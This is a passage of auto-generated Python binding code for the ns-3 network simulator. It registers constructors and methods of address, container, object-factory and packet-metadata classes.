'os')], is_const=True) ## ipv4-address.h (module 'network'): void ns3::Ipv4Mask::Set(uint32_t mask) [member function] cls.add_method('Set', 'void', [param('uint32_t', 'mask')]) return def register_Ns3Ipv6Address_methods(root_module, cls): cls.add_binary_comparison_operator('<') cls.add_binary_comparison_operator('!=') cls.add_output_stream_operator() cls.add_binary_comparison_operator('==') ## ipv6-address.h (module 'network'): ns3::Ipv6Address::Ipv6Address() [constructor] cls.add_constructor([]) ## ipv6-address.h (module 'network'): ns3::Ipv6Address::Ipv6Address(char const * address) [constructor] cls.add_constructor([param('char const *', 'address')]) ## ipv6-address.h (module 'network'): ns3::Ipv6Address::Ipv6Address(uint8_t * address) [constructor] cls.add_constructor([param('uint8_t *', 'address')]) ## ipv6-address.h (module 'network'): ns3::Ipv6Address::Ipv6Address(ns3::Ipv6Address const & addr) [copy constructor] cls.add_constructor([param('ns3::Ipv6Address const &', 'addr')]) ## ipv6-address.h (module 'network'): ns3::Ipv6Address::Ipv6Address(ns3::Ipv6Address const * addr) [constructor] cls.add_constructor([param('ns3::Ipv6Address const *', 'addr')]) ## ipv6-address.h (module 'network'): ns3::Ipv6Address ns3::Ipv6Address::CombinePrefix(ns3::Ipv6Prefix const & prefix) [member function] cls.add_method('CombinePrefix', 'ns3::Ipv6Address', [param('ns3::Ipv6Prefix const &', 'prefix')]) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::ConvertFrom(ns3::Address const & address) [member function] cls.add_method('ConvertFrom', 'ns3::Ipv6Address', [param('ns3::Address const &', 'address')], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::Deserialize(uint8_t const * buf) [member function] cls.add_method('Deserialize', 'ns3::Ipv6Address', [param('uint8_t const *', 'buf')], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetAllHostsMulticast() [member function] cls.add_method('GetAllHostsMulticast', 'ns3::Ipv6Address', [], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetAllNodesMulticast() [member function] cls.add_method('GetAllNodesMulticast', 'ns3::Ipv6Address', [], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetAllRoutersMulticast() [member function] cls.add_method('GetAllRoutersMulticast', 'ns3::Ipv6Address', [], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetAny() [member function] cls.add_method('GetAny', 'ns3::Ipv6Address', [], is_static=True) ## ipv6-address.h (module 'network'): void ns3::Ipv6Address::GetBytes(uint8_t * buf) const [member function] cls.add_method('GetBytes', 'void', [param('uint8_t *', 'buf')], is_const=True) ## ipv6-address.h (module 'network'): ns3::Ipv4Address ns3::Ipv6Address::GetIpv4MappedAddress() const [member function] cls.add_method('GetIpv4MappedAddress', 'ns3::Ipv4Address', [], is_const=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetLoopback() [member function] cls.add_method('GetLoopback', 'ns3::Ipv6Address', [], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetOnes() [member function] cls.add_method('GetOnes', 'ns3::Ipv6Address', [], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetZero() [member function] cls.add_method('GetZero', 'ns3::Ipv6Address', [], is_static=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsAllHostsMulticast() const [member function] cls.add_method('IsAllHostsMulticast', 'bool', [], is_const=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsAllNodesMulticast() const [member function] cls.add_method('IsAllNodesMulticast', 'bool', [], is_const=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsAllRoutersMulticast() const [member function] cls.add_method('IsAllRoutersMulticast', 'bool', [], is_const=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsAny() const [member function] cls.add_method('IsAny', 'bool', [], is_const=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsDocumentation() const [member function] cls.add_method('IsDocumentation', 'bool', [], is_const=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsEqual(ns3::Ipv6Address const & other) const [member function] cls.add_method('IsEqual', 'bool', [param('ns3::Ipv6Address const &', 'other')], is_const=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsIpv4MappedAddress() const [member function] cls.add_method('IsIpv4MappedAddress', 'bool', [], is_const=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsLinkLocal() const [member function] cls.add_method('IsLinkLocal', 'bool', [], is_const=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsLinkLocalMulticast() const [member function] cls.add_method('IsLinkLocalMulticast', 'bool', [], is_const=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsLocalhost() const [member function] cls.add_method('IsLocalhost', 'bool', [], is_const=True) ## ipv6-address.h (module 'network'): static bool ns3::Ipv6Address::IsMatchingType(ns3::Address const & address) [member function] cls.add_method('IsMatchingType', 'bool', [param('ns3::Address const &', 'address')], is_static=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsMulticast() const [member function] cls.add_method('IsMulticast', 'bool', [], is_const=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsSolicitedMulticast() const [member function] cls.add_method('IsSolicitedMulticast', 'bool', [], is_const=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeAutoconfiguredAddress(ns3::Mac16Address addr, ns3::Ipv6Address prefix) [member function] cls.add_method('MakeAutoconfiguredAddress', 'ns3::Ipv6Address', [param('ns3::Mac16Address', 'addr'), param('ns3::Ipv6Address', 'prefix')], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeAutoconfiguredAddress(ns3::Mac48Address addr, ns3::Ipv6Address prefix) [member function] cls.add_method('MakeAutoconfiguredAddress', 'ns3::Ipv6Address', [param('ns3::Mac48Address', 'addr'), param('ns3::Ipv6Address', 'prefix')], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeAutoconfiguredAddress(ns3::Mac64Address addr, ns3::Ipv6Address prefix) [member function] cls.add_method('MakeAutoconfiguredAddress', 'ns3::Ipv6Address', [param('ns3::Mac64Address', 'addr'), param('ns3::Ipv6Address', 'prefix')], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeAutoconfiguredLinkLocalAddress(ns3::Mac16Address mac) [member function] cls.add_method('MakeAutoconfiguredLinkLocalAddress', 'ns3::Ipv6Address', [param('ns3::Mac16Address', 'mac')], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeAutoconfiguredLinkLocalAddress(ns3::Mac48Address mac) [member function] cls.add_method('MakeAutoconfiguredLinkLocalAddress', 'ns3::Ipv6Address', [param('ns3::Mac48Address', 'mac')], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeAutoconfiguredLinkLocalAddress(ns3::Mac64Address mac) [member function] cls.add_method('MakeAutoconfiguredLinkLocalAddress', 'ns3::Ipv6Address', [param('ns3::Mac64Address', 'mac')], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeIpv4MappedAddress(ns3::Ipv4Address addr) [member function] cls.add_method('MakeIpv4MappedAddress', 'ns3::Ipv6Address', [param('ns3::Ipv4Address', 'addr')], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeSolicitedAddress(ns3::Ipv6Address addr) [member function] cls.add_method('MakeSolicitedAddress', 'ns3::Ipv6Address', [param('ns3::Ipv6Address', 'addr')], is_static=True) ## ipv6-address.h (module 'network'): void ns3::Ipv6Address::Print(std::ostream & os) const [member function] cls.add_method('Print', 'void', [param('std::ostream &', 'os')], is_const=True) ## ipv6-address.h (module 'network'): void ns3::Ipv6Address::Serialize(uint8_t * buf) const [member function] cls.add_method('Serialize', 'void', [param('uint8_t *', 'buf')], is_const=True) ## ipv6-address.h (module 'network'): void ns3::Ipv6Address::Set(char const * address) [member function] cls.add_method('Set', 'void', [param('char const *', 'address')]) ## ipv6-address.h (module 'network'): void ns3::Ipv6Address::Set(uint8_t * address) [member function] cls.add_method('Set', 'void', [param('uint8_t *', 'address')]) return def register_Ns3Ipv6Prefix_methods(root_module, cls): cls.add_binary_comparison_operator('!=') cls.add_output_stream_operator() cls.add_binary_comparison_operator('==') ## ipv6-address.h (module 'network'): ns3::Ipv6Prefix::Ipv6Prefix() [constructor] cls.add_constructor([]) ## ipv6-address.h (module 'network'): ns3::Ipv6Prefix::Ipv6Prefix(uint8_t * prefix) [constructor] cls.add_constructor([param('uint8_t *', 'prefix')]) ## ipv6-address.h (module 'network'): ns3::Ipv6Prefix::Ipv6Prefix(char const * prefix) [constructor] cls.add_constructor([param('char const *', 'prefix')]) ## ipv6-address.h (module 'network'): ns3::Ipv6Prefix::Ipv6Prefix(uint8_t prefix) [constructor] cls.add_constructor([param('uint8_t', 'prefix')]) ## ipv6-address.h (module 'network'): ns3::Ipv6Prefix::Ipv6Prefix(ns3::Ipv6Prefix const & prefix) [copy constructor] cls.add_constructor([param('ns3::Ipv6Prefix const &', 'prefix')]) ## ipv6-address.h (module 'network'): ns3::Ipv6Prefix::Ipv6Prefix(ns3::Ipv6Prefix const * prefix) [constructor] cls.add_constructor([param('ns3::Ipv6Prefix const *', 'prefix')]) ## ipv6-address.h (module 'network'): void ns3::Ipv6Prefix::GetBytes(uint8_t * buf) const [member function] cls.add_method('GetBytes', 'void', [param('uint8_t *', 'buf')], is_const=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Prefix ns3::Ipv6Prefix::GetLoopback() [member function] cls.add_method('GetLoopback', 'ns3::Ipv6Prefix', [], is_static=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Prefix ns3::Ipv6Prefix::GetOnes() [member function] cls.add_method('GetOnes', 'ns3::Ipv6Prefix', [], is_static=True) ## ipv6-address.h (module 'network'): uint8_t ns3::Ipv6Prefix::GetPrefixLength() const [member function] cls.add_method('GetPrefixLength', 'uint8_t', [], is_const=True) ## ipv6-address.h (module 'network'): static ns3::Ipv6Prefix ns3::Ipv6Prefix::GetZero() [member function] cls.add_method('GetZero', 'ns3::Ipv6Prefix', [], is_static=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Prefix::IsEqual(ns3::Ipv6Prefix const & other) const [member function] cls.add_method('IsEqual', 'bool', [param('ns3::Ipv6Prefix const &', 'other')], is_const=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6Prefix::IsMatch(ns3::Ipv6Address a, ns3::Ipv6Address b) const [member function] cls.add_method('IsMatch', 'bool', [param('ns3::Ipv6Address', 'a'), param('ns3::Ipv6Address', 'b')], is_const=True) ## ipv6-address.h (module 'network'): void ns3::Ipv6Prefix::Print(std::ostream & os) const [member function] cls.add_method('Print', 'void', [param('std::ostream &', 'os')], is_const=True) return def register_Ns3Mac48Address_methods(root_module, cls): cls.add_binary_comparison_operator('<') cls.add_binary_comparison_operator('!=') cls.add_output_stream_operator() cls.add_binary_comparison_operator('==') ## mac48-address.h (module 'network'): ns3::Mac48Address::Mac48Address(ns3::Mac48Address const & arg0) [copy constructor] cls.add_constructor([param('ns3::Mac48Address const &', 'arg0')]) ## mac48-address.h (module 'network'): ns3::Mac48Address::Mac48Address() [constructor] cls.add_constructor([]) ## mac48-address.h (module 'network'): ns3::Mac48Address::Mac48Address(char const * str) [constructor] cls.add_constructor([param('char const *', 'str')]) ## mac48-address.h (module 'network'): static ns3::Mac48Address ns3::Mac48Address::Allocate() [member function] cls.add_method('Allocate', 'ns3::Mac48Address', [], is_static=True) ## mac48-address.h (module 'network'): static ns3::Mac48Address ns3::Mac48Address::ConvertFrom(ns3::Address const & address) [member function] cls.add_method('ConvertFrom', 'ns3::Mac48Address', [param('ns3::Address const &', 'address')], is_static=True) ## mac48-address.h (module 'network'): void ns3::Mac48Address::CopyFrom(uint8_t const * buffer) [member function] cls.add_method('CopyFrom', 'void', [param('uint8_t const *', 'buffer')]) ## mac48-address.h (module 'network'): void ns3::Mac48Address::CopyTo(uint8_t * buffer) const [member function] cls.add_method('CopyTo', 'void', [param('uint8_t *', 'buffer')], is_const=True) ## mac48-address.h (module 'network'): static ns3::Mac48Address ns3::Mac48Address::GetBroadcast() [member function] cls.add_method('GetBroadcast', 'ns3::Mac48Address', [], is_static=True) ## mac48-address.h (module 'network'): static ns3::Mac48Address ns3::Mac48Address::GetMulticast(ns3::Ipv4Address address) [member function] cls.add_method('GetMulticast', 'ns3::Mac48Address', [param('ns3::Ipv4Address', 'address')], is_static=True) ## mac48-address.h (module 'network'): static ns3::Mac48Address ns3::Mac48Address::GetMulticast(ns3::Ipv6Address address) [member function] cls.add_method('GetMulticast', 'ns3::Mac48Address', [param('ns3::Ipv6Address', 'address')], is_static=True) ## mac48-address.h (module 'network'): static ns3::Mac48Address ns3::Mac48Address::GetMulticast6Prefix() [member function] cls.add_method('GetMulticast6Prefix', 'ns3::Mac48Address', [], is_static=True) ## mac48-address.h (module 'network'): static ns3::Mac48Address ns3::Mac48Address::GetMulticastPrefix() [member function] cls.add_method('GetMulticastPrefix', 'ns3::Mac48Address', [], is_static=True) ## mac48-address.h (module 'network'): bool ns3::Mac48Address::IsBroadcast() const [member function] cls.add_method('IsBroadcast', 'bool', [], is_const=True) ## mac48-address.h (module 'network'): bool ns3::Mac48Address::IsGroup() const [member function] cls.add_method('IsGroup', 'bool', [], is_const=True) ## mac48-address.h (module 'network'): static bool ns3::Mac48Address::IsMatchingType(ns3::Address const & address) [member function] cls.add_method('IsMatchingType', 'bool', [param('ns3::Address const &', 'address')], is_static=True) return def register_Ns3NetDeviceContainer_methods(root_module, cls): ## net-device-container.h (module 'network'): ns3::NetDeviceContainer::NetDeviceContainer(ns3::NetDeviceContainer const & arg0) [copy constructor] cls.add_constructor([param('ns3::NetDeviceContainer const &', 'arg0')]) ## net-device-container.h (module 'network'): ns3::NetDeviceContainer::NetDeviceContainer() [constructor] cls.add_constructor([]) ## net-device-container.h (module 'network'): ns3::NetDeviceContainer::NetDeviceContainer(ns3::Ptr<ns3::NetDevice> dev) [constructor] cls.add_constructor([param('ns3::Ptr< ns3::NetDevice >', 'dev')]) ## net-device-container.h (module 'network'): ns3::NetDeviceContainer::NetDeviceContainer(std::string devName) [constructor] cls.add_constructor([param('std::string', 'devName')]) ## net-device-container.h (module 'network'): ns3::NetDeviceContainer::NetDeviceContainer(ns3::NetDeviceContainer const & a, ns3::NetDeviceContainer const & b) [constructor] cls.add_constructor([param('ns3::NetDeviceContainer const &', 'a'), param('ns3::NetDeviceContainer const &', 'b')]) ## net-device-container.h (module 'network'): void ns3::NetDeviceContainer::Add(ns3::NetDeviceContainer other) [member function] cls.add_method('Add', 'void', [param('ns3::NetDeviceContainer', 'other')]) ## net-device-container.h (module 'network'): void ns3::NetDeviceContainer::Add(ns3::Ptr<ns3::NetDevice> device) [member function] cls.add_method('Add', 'void', [param('ns3::Ptr< ns3::NetDevice >', 'device')]) ## net-device-container.h (module 'network'): void ns3::NetDeviceContainer::Add(std::string deviceName) [member function] cls.add_method('Add', 'void', [param('std::string', 'deviceName')]) ## net-device-container.h (module 'network'): __gnu_cxx::__normal_iterator<const ns3::Ptr<ns3::NetDevice>*,std::vector<ns3::Ptr<ns3::NetDevice>, std::allocator<ns3::Ptr<ns3::NetDevice> > > > ns3::NetDeviceContainer::Begin() const [member function] cls.add_method('Begin', '__gnu_cxx::__normal_iterator< ns3::Ptr< ns3::NetDevice > const, std::vector< ns3::Ptr< ns3::NetDevice > > >', [], is_const=True) ## net-device-container.h (module 'network'): __gnu_cxx::__normal_iterator<const ns3::Ptr<ns3::NetDevice>*,std::vector<ns3::Ptr<ns3::NetDevice>, std::allocator<ns3::Ptr<ns3::NetDevice> > > > ns3::NetDeviceContainer::End() const [member function] cls.add_method('End', '__gnu_cxx::__normal_iterator< ns3::Ptr< ns3::NetDevice > const, std::vector< ns3::Ptr< ns3::NetDevice > > >', [], is_const=True) ## net-device-container.h (module 'network'): ns3::Ptr<ns3::NetDevice> ns3::NetDeviceContainer::Get(uint32_t i) const [member function] cls.add_method('Get', 'ns3::Ptr< ns3::NetDevice >', [param('uint32_t', 'i')], is_const=True) ## net-device-container.h (module 'network'): uint32_t ns3::NetDeviceContainer::GetN() const [member function] cls.add_method('GetN', 'uint32_t', [], is_const=True) return def register_Ns3NodeContainer_methods(root_module, cls): ## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(ns3::NodeContainer const & arg0) [copy constructor] cls.add_constructor([param('ns3::NodeContainer const &', 'arg0')]) ## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer() [constructor] cls.add_constructor([]) ## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(ns3::Ptr<ns3::Node> node) [constructor] cls.add_constructor([param('ns3::Ptr< ns3::Node >', 'node')]) ## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(std::string nodeName) [constructor] cls.add_constructor([param('std::string', 'nodeName')]) ## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(ns3::NodeContainer const & a, ns3::NodeContainer const & b) [constructor] cls.add_constructor([param('ns3::NodeContainer const &', 'a'), param('ns3::NodeContainer const &', 'b')]) ## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(ns3::NodeContainer const & a, ns3::NodeContainer const & b, ns3::NodeContainer const & c) [constructor] cls.add_constructor([param('ns3::NodeContainer const &', 'a'), param('ns3::NodeContainer const &', 'b'), param('ns3::NodeContainer const &', 'c')]) ## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(ns3::NodeContainer const & a, ns3::NodeContainer const & b, ns3::NodeContainer const & c, ns3::NodeContainer const & d) [constructor] cls.add_constructor([param('ns3::NodeContainer const &', 'a'), param('ns3::NodeContainer const &', 'b'), param('ns3::NodeContainer const &', 'c'), param('ns3::NodeContainer const &', 'd')]) ## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(ns3::NodeContainer const & a, ns3::NodeContainer const & b, ns3::NodeContainer const & c, ns3::NodeContainer const & d, ns3::NodeContainer const & e) [constructor] cls.add_constructor([param('ns3::NodeContainer const &', 'a'), param('ns3::NodeContainer const &', 'b'), param('ns3::NodeContainer const &', 'c'), param('ns3::NodeContainer const &', 'd'), param('ns3::NodeContainer const &', 'e')]) ## node-container.h (module 'network'): void ns3::NodeContainer::Add(ns3::NodeContainer other) [member function] cls.add_method('Add', 'void', [param('ns3::NodeContainer', 'other')]) ## node-container.h (module 'network'): void ns3::NodeContainer::Add(ns3::Ptr<ns3::Node> node) [member function] cls.add_method('Add', 'void', [param('ns3::Ptr< ns3::Node >', 'node')]) ## node-container.h (module 'network'): void ns3::NodeContainer::Add(std::string nodeName) [member function] cls.add_method('Add', 'void', [param('std::string', 'nodeName')]) ## node-container.h (module 'network'): __gnu_cxx::__normal_iterator<const ns3::Ptr<ns3::Node>*,std::vector<ns3::Ptr<ns3::Node>, std::allocator<ns3::Ptr<ns3::Node> > > > ns3::NodeContainer::Begin() const [member function] cls.add_method('Begin', '__gnu_cxx::__normal_iterator< ns3::Ptr< ns3::Node > const, std::vector< ns3::Ptr< ns3::Node > > >', [], is_const=True) ## node-container.h (module 'network'): void ns3::NodeContainer::Create(uint32_t n) [member function] cls.add_method('Create', 'void', [param('uint32_t', 'n')]) ## node-container.h (module 'network'): void ns3::NodeContainer::Create(uint32_t n, uint32_t systemId) [member function] cls.add_method('Create', 'void', [param('uint32_t', 'n'), param('uint32_t', 'systemId')]) ## node-container.h (module 'network'): __gnu_cxx::__normal_iterator<const ns3::Ptr<ns3::Node>*,std::vector<ns3::Ptr<ns3::Node>, std::allocator<ns3::Ptr<ns3::Node> > > > ns3::NodeContainer::End() const [member function] cls.add_method('End', '__gnu_cxx::__normal_iterator< ns3::Ptr< ns3::Node > const, std::vector< ns3::Ptr< ns3::Node > > >', [], is_const=True) ## node-container.h (module 'network'): ns3::Ptr<ns3::Node> ns3::NodeContainer::Get(uint32_t i) const [member function] cls.add_method('Get', 'ns3::Ptr< ns3::Node >', [param('uint32_t', 'i')], is_const=True) ## node-container.h (module 'network'): static ns3::NodeContainer ns3::NodeContainer::GetGlobal() [member function] cls.add_method('GetGlobal', 'ns3::NodeContainer', [], is_static=True) ## node-container.h (module 'network'): uint32_t ns3::NodeContainer::GetN() const [member function] cls.add_method('GetN', 'uint32_t', [], is_const=True) return def register_Ns3ObjectBase_methods(root_module, cls): ## object-base.h (module 'core'): ns3::ObjectBase::ObjectBase() [constructor] cls.add_constructor([]) ## object-base.h (module 'core'): ns3::ObjectBase::ObjectBase(ns3::ObjectBase const & arg0) [copy constructor] cls.add_constructor([param('ns3::ObjectBase const &', 'arg0')]) ## object-base.h (module 'core'): void ns3::ObjectBase::GetAttribute(std::string name, ns3::AttributeValue & value) const [member function] cls.add_method('GetAttribute', 'void', [param('std::string', 'name'), param('ns3::AttributeValue &', 'value')], is_const=True) ## object-base.h (module 'core'): bool ns3::ObjectBase::GetAttributeFailSafe(std::string name, ns3::AttributeValue & value) const [member function] cls.add_method('GetAttributeFailSafe', 'bool', [param('std::string', 'name'), param('ns3::AttributeValue &', 'value')], is_const=True) ## object-base.h (module 'core'): ns3::TypeId ns3::ObjectBase::GetInstanceTypeId() const [member function] cls.add_method('GetInstanceTypeId', 'ns3::TypeId', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## object-base.h (module 'core'): static ns3::TypeId ns3::ObjectBase::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## object-base.h (module 'core'): void ns3::ObjectBase::SetAttribute(std::string name, ns3::AttributeValue const & value) [member function] cls.add_method('SetAttribute', 'void', [param('std::string', 'name'), param('ns3::AttributeValue const &', 'value')]) ## object-base.h (module 'core'): bool ns3::ObjectBase::SetAttributeFailSafe(std::string name, ns3::AttributeValue const & value) [member function] cls.add_method('SetAttributeFailSafe', 'bool', [param('std::string', 'name'), param('ns3::AttributeValue const &', 'value')]) ## object-base.h (module 'core'): bool ns3::ObjectBase::TraceConnect(std::string name, std::string context, ns3::CallbackBase const & cb) [member function] cls.add_method('TraceConnect', 'bool', [param('std::string', 'name'), param('std::string', 'context'), param('ns3::CallbackBase const &', 'cb')]) ## object-base.h (module 'core'): bool ns3::ObjectBase::TraceConnectWithoutContext(std::string name, ns3::CallbackBase const & cb) [member function] cls.add_method('TraceConnectWithoutContext', 'bool', [param('std::string', 'name'), param('ns3::CallbackBase const &', 'cb')]) ## object-base.h (module 'core'): bool ns3::ObjectBase::TraceDisconnect(std::string name, std::string context, ns3::CallbackBase const & cb) [member function] cls.add_method('TraceDisconnect', 'bool', [param('std::string', 'name'), param('std::string', 'context'), param('ns3::CallbackBase const &', 'cb')]) ## object-base.h (module 'core'): bool ns3::ObjectBase::TraceDisconnectWithoutContext(std::string name, ns3::CallbackBase const & cb) [member function] cls.add_method('TraceDisconnectWithoutContext', 'bool', [param('std::string', 'name'), param('ns3::CallbackBase const &', 'cb')]) ## object-base.h (module 'core'): void ns3::ObjectBase::ConstructSelf(ns3::AttributeConstructionList const & attributes) [member function] cls.add_method('ConstructSelf', 'void', [param('ns3::AttributeConstructionList const &', 'attributes')], visibility='protected') ## object-base.h (module 'core'): void ns3::ObjectBase::NotifyConstructionCompleted() [member function] cls.add_method('NotifyConstructionCompleted', 'void', [], visibility='protected', is_virtual=True) return def register_Ns3ObjectDeleter_methods(root_module, cls): ## object.h (module 'core'): ns3::ObjectDeleter::ObjectDeleter() [constructor] cls.add_constructor([]) ## object.h (module 'core'): ns3::ObjectDeleter::ObjectDeleter(ns3::ObjectDeleter const & arg0) [copy constructor] cls.add_constructor([param('ns3::ObjectDeleter const &', 'arg0')]) ## object.h (module 'core'): static void ns3::ObjectDeleter::Delete(ns3::Object * object) [member function] cls.add_method('Delete', 'void', [param('ns3::Object *', 'object')], is_static=True) return def register_Ns3ObjectFactory_methods(root_module, cls): cls.add_output_stream_operator() ## object-factory.h (module 'core'): ns3::ObjectFactory::ObjectFactory(ns3::ObjectFactory const & arg0) [copy constructor] cls.add_constructor([param('ns3::ObjectFactory const &', 'arg0')]) ## object-factory.h (module 'core'): ns3::ObjectFactory::ObjectFactory() [constructor] cls.add_constructor([]) ## object-factory.h (module 'core'): ns3::ObjectFactory::ObjectFactory(std::string typeId) [constructor] cls.add_constructor([param('std::string', 'typeId')]) ## object-factory.h (module 'core'): ns3::Ptr<ns3::Object> ns3::ObjectFactory::Create() const [member function] cls.add_method('Create', 'ns3::Ptr< ns3::Object >', [], is_const=True) ## object-factory.h (module 'core'): ns3::TypeId ns3::ObjectFactory::GetTypeId() const [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_const=True) ## object-factory.h (module 'core'): void ns3::ObjectFactory::Set(std::string name, ns3::AttributeValue const & value) [member function] cls.add_method('Set', 'void', [param('std::string', 'name'), param('ns3::AttributeValue const &', 'value')]) ## object-factory.h (module 'core'): void ns3::ObjectFactory::SetTypeId(ns3::TypeId tid) [member function] cls.add_method('SetTypeId', 'void', [param('ns3::TypeId', 'tid')]) ## object-factory.h (module 'core'): void ns3::ObjectFactory::SetTypeId(char const * tid) [member function] cls.add_method('SetTypeId', 'void', [param('char const *', 'tid')]) ## object-factory.h (module 'core'): void ns3::ObjectFactory::SetTypeId(std::string tid) [member function] cls.add_method('SetTypeId', 'void', [param('std::string', 'tid')]) return def register_Ns3PacketMetadata_methods(root_module, cls): ## packet-metadata.h (module 'network'): ns3::PacketMetadata::PacketMetadata(uint64_t uid, uint32_t size) [constructor] cls.add_constructor([param('uint64_t', 'uid'), param('uint32_t', 'size')]) ## packet-metadata.h (module 'network'): ns3::PacketMetadata::PacketMetadata(ns3::PacketMetadata const & o) [copy constructor] cls.add_constructor([param('ns3::PacketMetadata const &', 'o')]) ## packet-metadata.h (module 'network'): void ns3::PacketMetadata::AddAtEnd(ns3::PacketMetadata const & o) [member function] cls.add_method('AddAtEnd', 'void', [param('ns3::PacketMetadata const &', 'o')]) ## packet-metadata.h (module 'network'): void ns3::PacketMetadata::AddHeader(ns3::Header const & header, uint32_t size) [member function] cls.add_method('AddHeader', 'void', [param('ns3::Header const &', 'header'), param('uint32_t', 'size')]) ## packet-metadata.h (module 'network'): void ns3::PacketMetadata::AddPaddingAtEnd(uint32_t end) [member function] cls.add_method('AddPaddingAtEnd', 'void', [param('uint32_t', 'end')]) ## packet-metadata.h (module 'network'): void ns3::PacketMetadata::AddTrailer(ns3::Trailer const & trailer, uint32_t size) [member function] cls.add_method('AddTrailer', 'void', [param('ns3::Trailer const &', 'trailer'), param('uint32_t', 'size')]) ## packet-metadata.h (module 'network'): ns3::PacketMetadata::ItemIterator ns3::PacketMetadata::BeginItem(ns3::Buffer buffer) const [member function] cls.add_method('BeginItem', 'ns3::PacketMetadata::ItemIterator', [param('ns3::Buffer', 'buffer')], is_const=True) ## packet-metadata.h (module 'network'): ns3::PacketMetadata ns3::PacketMetadata::CreateFragment(uint32_t start, uint32_t end) const [member function] cls.add_method('CreateFragment', 'ns3::PacketMetadata', [param('uint32_t', 'start'), param('uint32_t', 'end')], is_const=True) ## packet-metadata.h (module 'network'): uint32_t ns3::PacketMetadata::Deserialize(uint8_t const * buffer, uint32_t size) [member function] cls.add_method('Deserialize', 'uint32_t', [param('uint8_t const *', 'buffer'), param('uint32_t', 'size')]) ## packet-metadata.h (module 'network'): static void ns3::PacketMetadata::Enable() [member function] cls.add_method('Enable', 'void', [], is_static=True) ## packet-metadata.h (module 'network'): static void ns3::PacketMetadata::EnableChecking() [member function] cls.add_method('EnableChecking', 'void', [], is_static=True) ## packet-metadata.h (module 'network'): uint32_t ns3::PacketMetadata::GetSerializedSize() const [member function] cls.add_method('GetSerializedSize', 'uint32_t', [], is_const=True) ## packet-metadata.h (module 'network'): uint64_t ns3::PacketMetadata::GetUid() const [member function] cls.add_method('GetUid', 'uint64_t', [], is_const=True) ## packet-metadata.h (module 'network'): void ns3::PacketMetadata::RemoveAtEnd(uint32_t end) [member function] cls.add_method('RemoveAtEnd', 'void', [param('uint32_t', 'end')]) ## packet-metadata.h (module 'network'): void ns3::PacketMetadata::RemoveAtStart(uint32_t start) [member function] cls.add_method('RemoveAtStart', 'void', [param('uint32_t', 'start')]) ## packet-metadata.h (module 'network'): void ns3::PacketMetadata::RemoveHeader(ns3::Header const & header, uint32_t size) [member function] cls.add_method('RemoveHeader', 'void', [param('ns3::Header const &', 'header'), param('uint32_t', 'size')]) ## packet-metadata.h (module 'network'): void ns3::PacketMetadata::RemoveTrailer(ns3::Trailer const & trailer, uint32_t size) [member function] cls.add_method('RemoveTrailer', 'void', [param('ns3::Trailer const &', 'trailer'), param('uint32_t', 'size')]) ## packet-metadata.h (module 'network'): uint32_t ns3::PacketMetadata::Serialize(uint8_t * buffer, uint32_t maxSize) const [member function] cls.add_method('Serialize', 'uint32_t', [param('uint8_t *', 'buffer'), param('uint32_t', 'maxSize')], is_const=True) return def register_Ns3PacketMetadataItem_methods(root_module, cls): ## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::Item() [constructor] cls.add_constructor([]) ## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::Item(ns3::PacketMetadata::Item const & arg0) [copy constructor] cls.add_constructor([param('ns3::PacketMetadata::Item const &', 'arg0')]) ## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::current [variable] cls.add_instance_attribute('current', 